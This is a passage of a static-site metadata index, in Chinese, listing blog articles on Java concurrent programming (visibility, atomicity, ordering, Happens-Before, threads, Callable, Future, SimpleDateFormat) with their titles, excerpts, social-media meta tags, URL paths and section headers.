冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"写【高并发专题】有一段时间了,一些读者朋友留言说,并发编程很难,学习了很多的知识,但是在实际工作中却无从下手。对于一个线上产生的并发问题,又不知产生这个问题的原因究竟是什么。对于并发编程,感觉上似乎是掌握了,但是真正用起来却不是那么回事!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.md",key:"v-445822d6",path:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"分工",slug:"分工"},{level:2,title:"同步",slug:"同步"},{level:2,title:"互斥",slug:"互斥"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"要想学好并发编程,关键是要理解这三个核心问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"要想学好并发编程,关键是要理解这三个核心问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"工作了3年的小菜同学,平时在公司只是做些CRUD的常规工作,这次,出去面试被面试官一顿虐啊!尤其是并发编程的知识简直就是被吊打啊。小菜心有不甘,回来找自己工作经验非常丰富的朋友大冰来帮助自己提升并发编程的知识,于是便有了接下来的一系列小菜学并发的文章。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{name:"twitter:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html",relativePath:"md/concurrent/basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.md",key:"v-18b95f38",path:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html",headers:[{level:2,title:"并发编程的难点",slug:"并发编程的难点"},{level:2,title:"操作系统做出的努力",slug:"操作系统做出的努力"},{level:3,title:"CPU增加了缓存",slug:"cpu增加了缓存"},{level:3,title:"操作系统增加了进程和线程",slug:"操作系统增加了进程和线程"},{level:3,title:"优化CPU指令执行顺序",slug:"优化cpu指令执行顺序"},{level:2,title:"揪出“幕后”黑手",slug:"揪出-幕后-黑手"},{level:2,title:"总结",slug:"总结"},{level:2,title:"总结",slug:"总结-2"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"一文解密诡异并发问题的第一个幕后黑手:可见性问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"一文解密诡异并发问题的第一个幕后黑手:可见性问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"对于什么是可见性,比较官方的解释就是:一个线程对共享变量的修改,另一个线程能够立刻看到。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"一文解密诡异并发问题的第一个幕后黑手:可见性问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"一文解密诡异并发问题的第一个幕后黑手:可见性问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.md",key:"v-b7200bd4",path:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"可见性",slug:"可见性"},{level:2,title:"可见性问题",slug:"可见性问题"},{level:3,title:"单核CPU不存在可见性问题",slug:"单核cpu不存在可见性问题"},{level:3,title:"多核CPU存在可见性问题",slug:"多核cpu存在可见性问题"},{level:3,title:"Java中的可见性问题",slug:"java中的可见性问题"},{level:2,title:"代码示例",slug:"代码示例"},{level:2,title:"总结",slug:"总结"},{level:2,title:"结尾",slug:"结尾"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"解密导致并发问题的第二个幕后黑手:原子性问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"解密导致并发问题的第二个幕后黑手:原子性问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"原子性是指一个或者多个操作在CPU中执行的过程不被中断的特性。原子性操作一旦开始运行,就会一直到运行结束为止,中间不会有中断的情况发生。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"解密导致并发问题的第二个幕后黑手:原子性问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"解密导致并发问题的第二个幕后黑手:原子性问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.md",key:"v-2736e994",path:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"原子性",slug:"原子性"},{level:2,title:"线程切换",slug:"线程切换"},{level:2,title:"原子性问题",slug:"原子性问题"},{level:2,title:"Java中的原子性问题",slug:"java中的原子性问题"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"文末福利",slug:"文末福利"},{level:2,title:"写在最后",slug:"写在最后-2"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"解密导致并发问题的第三个幕后黑手:有序性问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"解密导致并发问题的第三个幕后黑手:有序性问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"有序性是指:按照代码的既定顺序执行。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"解密导致并发问题的第三个幕后黑手:有序性问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"解密导致并发问题的第三个幕后黑手:有序性问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.md",key:"v-01e4323c",path:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"有序性",slug:"有序性"},{level:2,title:"指令重排序",slug:"指令重排序"},{level:2,title:"有序性问题",slug:"有序性问题"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"写在最后",slug:"写在最后-2"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"一文秒懂Happens-Before原则",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"一文秒懂Happens-Before原则",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在并发编程中,Happens-Before原则是我们必须要掌握的,今天我们就一起来详细聊聊并发编程中的Happens-Before原则。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"一文秒懂Happens-Before原则"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{name:"twitter:title",content:"一文秒懂Happens-Before原则"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html",relativePath:"md/concurrent/basics/2020-03-30-008-一文秒懂Happens-Before原则.md",key:"v-16c9a526",path:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html",headers:[{level:3,title:"【原则一】程序次序规则",slug:"【原则一】程序次序规则"},{level:3,title:"【原则二】volatile变量规则",slug:"【原则二】volatile变量规则"},{level:3,title:"【原则三】传递规则",slug:"【原则三】传递规则"},{level:3,title:"【原则四】锁定规则",slug:"【原则四】锁定规则"},{level:3,title:"【原则五】线程启动规则",slug:"【原则五】线程启动规则"},{level:3,title:"【原则六】线程终结规则",slug:"【原则六】线程终结规则"},{level:3,title:"【原则七】线程中断规则",slug:"【原则七】线程中断规则"},{level:3,title:"【原则八】对象终结原则",slug:"【原则八】对象终结原则"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/bottom/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/concurrent/bottom/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/bottom/default.html",relativePath:"md/concurrent/bottom/default.md",key:"v-b1628c52",path:"/md/concurrent/bottom/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/framework/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/concurrent/framework/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/framework/default.html",relativePath:"md/concurrent/framework/default.md",key:"v-96e84136",path:"/md/concurrent/framework/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/interview/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/concurrent/interview/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/interview/default.html",relativePath:"md/concurrent/interview/default.md",key:"v-0afc3a45",path:"/md/concurrent/interview/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"一文搞懂线程与多线程",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"一文搞懂线程与多线程",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"从操作系统级别彻底搞懂线程与多线程。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"一文搞懂线程与多线程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{name:"twitter:title",content:"一文搞懂线程与多线程"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html",relativePath:"md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.md",key:"v-31ebc6be",path:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html",headers:[{level:2,title:"一、线程与多线程",slug:"一、线程与多线程"},{level:3,title:"1.线程",slug:"_1-线程"},{level:3,title:"2.多线程",slug:"_2-多线程"},{level:2,title:"二、实现线程的方式",slug:"二、实现线程的方式"},{level:2,title:"三、线程的生命周期",slug:"三、线程的生命周期"},{level:3,title:"1.生命周期",slug:"_1-生命周期"},{level:3,title:"2.代码示例",slug:"_2-代码示例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"如何确保线程按照我们想要的顺序执行",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"如何确保线程按照我们想要的顺序执行",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"调用Thread的start()方法启动线程时,线程的执行顺序是不确定的。也就是说,在同一个方法中,连续创建多个线程后,调用线程的start()方法的顺序并不能决定线程的执行顺序,今天,我们来聊聊如何确保线程按照我们想要的顺序执行。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"如何确保线程按照我们想要的顺序执行"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{name:"twitter:title",content:"如何确保线程按照我们想要的顺序执行"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html",relativePath:"md/concurrent/source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.md",key:"v-1f23bca6",path:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html",headers:[{level:2,title:"一、线程的执行顺序是不确定的",slug:"一、线程的执行顺序是不确定的"},{level:2,title:"二、如何确保线程的执行顺序",slug:"二、如何确保线程的执行顺序"},{level:3,title:"1.确保线程执行顺序的简单示例",slug:"_1-确保线程执行顺序的简单示例"},{level:3,title:"2.join方法如何确保线程的执行顺序",slug:"_2-join方法如何确保线程的执行顺序"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"深入解析Callable接口",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"深入解析Callable接口",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"本文纯干货,从源码角度深入解析Callable接口,希望大家踏下心来,打开你的IDE,跟着文章看源码,相信你一定收获不小。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"深入解析Callable接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"深入解析Callable接口"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html",relativePath:"md/concurrent/source/2020-03-30-003-深入解析Callable接口.md",key:"v-691192ba",path:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html",headers:[{level:3,title:"1.Callable接口介绍",slug:"_1-callable接口介绍"},{level:3,title:"2.实现Callable接口的重要类分析",slug:"_2-实现callable接口的重要类分析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"两种异步模型与深度解析Future接口",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"两种异步模型与深度解析Future接口",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"本文有点长,但是满满的干货,以实际案例的形式分析了两种异步模型,并从源码角度深度解析Future接口和FutureTask类,希望大家踏下心来,打开你的IDE,跟着文章看源码,相信你一定收获不小!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"两种异步模型与深度解析Future接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"两种异步模型与深度解析Future接口"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html",relativePath:"md/concurrent/source/2020-03-30-004-两种异步模型与深度解析Future接口.md",key:"v-56a704c7",path:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html",headers:[{level:3,title:"一、两种异步模型",slug:"一、两种异步模型"},{level:3,title:"二、深度解析Future接口",slug:"二、深度解析future接口"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"SimpleDateFormat类到底为啥不是线程安全的?",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"SimpleDateFormat类到底为啥不是线程安全的?",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"首先问下大家:你使用的SimpleDateFormat类还安全吗?为什么说SimpleDateFormat类不是线程安全的?带着问题从本文中寻求答案。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"SimpleDateFormat类到底为啥不是线程安全的?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html"},{name:"twitter:title",content:"SimpleDateFormat类到底为啥不是线程安全的?"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html",relativePath:"md/concurrent/source/2020-03-30-005-SimpleDateFormat类到底为啥不是线程安全的?(附六种解决方案,建议收藏).md",key:"v-30250e53",path:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4